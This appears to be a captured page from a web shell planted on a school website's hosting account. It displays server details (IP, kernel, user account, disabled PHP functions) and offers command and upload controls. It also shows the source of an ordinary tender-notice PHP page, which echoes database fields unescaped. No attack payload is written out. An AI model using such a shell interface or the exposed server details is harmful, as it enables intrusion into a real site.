MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/tender-notice.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Eklavya Model Residential School - Tendor Notice</title>
<?php include('include/header.php'); ?>

<div class="breadcrumbs">
	<div class="container">

    <!--    <h1 class="pull-left">
    Results</h1> -->

    <ul class="pull-left breadcrumb">
    	<li><a href="javascript:void(0)">Tender</a></li>
    	<li><a href="javascript:void(0)">Tender Notice</a></li>
    </ul>
   <!--  <div class="brs">
        <button type="button" class="print-gigw" onclick="printDiv('pr')" value="print a div!" ><i class="fa fa-print" aria-hidden="true"></i>
        </button>


        <script>
            function printDiv(pr) {
               var printContents = document.getElementById(pr).innerHTML;
               var originalContents = document.body.innerHTML;

               document.body.innerHTML = printContents;

               window.print();

               document.body.innerHTML = originalContents;
           }
       </script>
   </div> -->
</div>
</div>

</div>

<style>.menshow{display:block !important}</style>

</div></div><div class="container upload_containerx" id="pr">
    <div class="row"><div class="col-xs-12 col-md-12 col-sm-12 col-lg-12" ><div class="ap-section ">
      <div class="headline" id="headlines"><h2 >Tender Notice</h2>
      </div>

  </div>
  <div>
    <table class="table table-bordered">
        <thead>   
            <tr>
                <th>S.No.</th>
                <th>Title </th>
                <th>Publish Date</th>
                <th>Expiry Date</th>
                <th>Download/Details</th>
            </tr>
        </thead>  
        <tbody>
            <?php
            $q = "select * from tender_notice";
            $query = mysqli_query($conn,$q);
            $i=1;
            while($res = mysqli_fetch_array($query)) { 
                $file_size=$res['file_size']/1000;
                ?>
                <tr>

                    <td><?php echo $i++; ?></td>
                    <td><?php echo $res['title'] ?></td>
                    <td><?php echo $res['publish_date'] ?></td>
                    <td><?php echo $res['expiry_date'] ?></td>
                    <td><a style="color: #007bff;" href="admin/<?php echo $res['file'] ?>" download >Download (<?php echo round($file_size,2) ?> KB) <i class="fa fa-file-pdf-o red_pdf pad-left"></i></a>  </td>

                </tr>
            <?php } ?>
        </tbody>
    </table>








</div>

<script>
    function makeid() {
      var text = "";
      var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

      for (var i = 0; i < 5; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
}

function filedownload(id,ln)
{

//var ln="en";
$.ajax({
    type:'post',
    url:'/nvs/system/modules/NVS.WEB/elements/download_file.jsp',
    data:{lang:ln,num_srno:id},
    success:function(data){
			  //alert(data);

			/*	var bytes = new Uint8Array(data); // pass your byte response to this constructor

var blob=new Blob([bytes], {type: "application/pdf"});// change resultByte to bytes

var link=document.createElement('a');
link.href=window.URL.createObjectURL(blob);
link.download="myFileName.pdf";
link.click();*/
var sampleArr = base64ToArrayBuffer(data);
saveByteArray(makeid(), sampleArr);

}

});
}

function base64ToArrayBuffer(base64) {
    var binaryString = window.atob(base64);
    var binaryLen = binaryString.length;
    var bytes = new Uint8Array(binaryLen);
    for (var i = 0; i < binaryLen; i++) {
       var ascii = binaryString.charCodeAt(i);
       bytes[i] = ascii;
   }
   return bytes;
}

function getMobileOperatingSystem() {
  var userAgent = navigator.userAgent || navigator.vendor || window.opera;

      // Windows Phone must come first because its UA also contains "Android"
      if (/windows phone/i.test(userAgent)) {
        return "Windows Phone";
    }

    if (/android/i.test(userAgent)) {
        return "Android";
    }

    // iOS detection from: http://stackoverflow.com/a/9039885/177710
    if (/iPad|iPhone|iPod/.test(userAgent) && !window.MSStream) {
        return "iOS";
    }

    return "unknown";
}



function saveByteArray(reportName, byte) {
    //
    var os=getMobileOperatingSystem();

    if(os=="iOS")
    {
      var reader = new FileReader();
      var out = new Blob([byte], {type: "application/pdf"});
      reader.onload = function(e){
          window.location.href = reader.result;
      }
      reader.readAsDataURL(out);
  }


  else {
     var blob = new Blob([byte], {type: "application/pdf"});
     var url = window.URL.createObjectURL(blob);
	//window.open(url);
	var a = document.createElement("a");

	document.body.appendChild(a);
 a.href = url;
 a.download = reportName;
 a.click();

 setTimeout(function() {window.URL.revokeObjectURL(url);},1000);
} 
};
</script>
</div>
</div>
</div>
<?php include('include/footer.php'); ?>

MMCT - 2023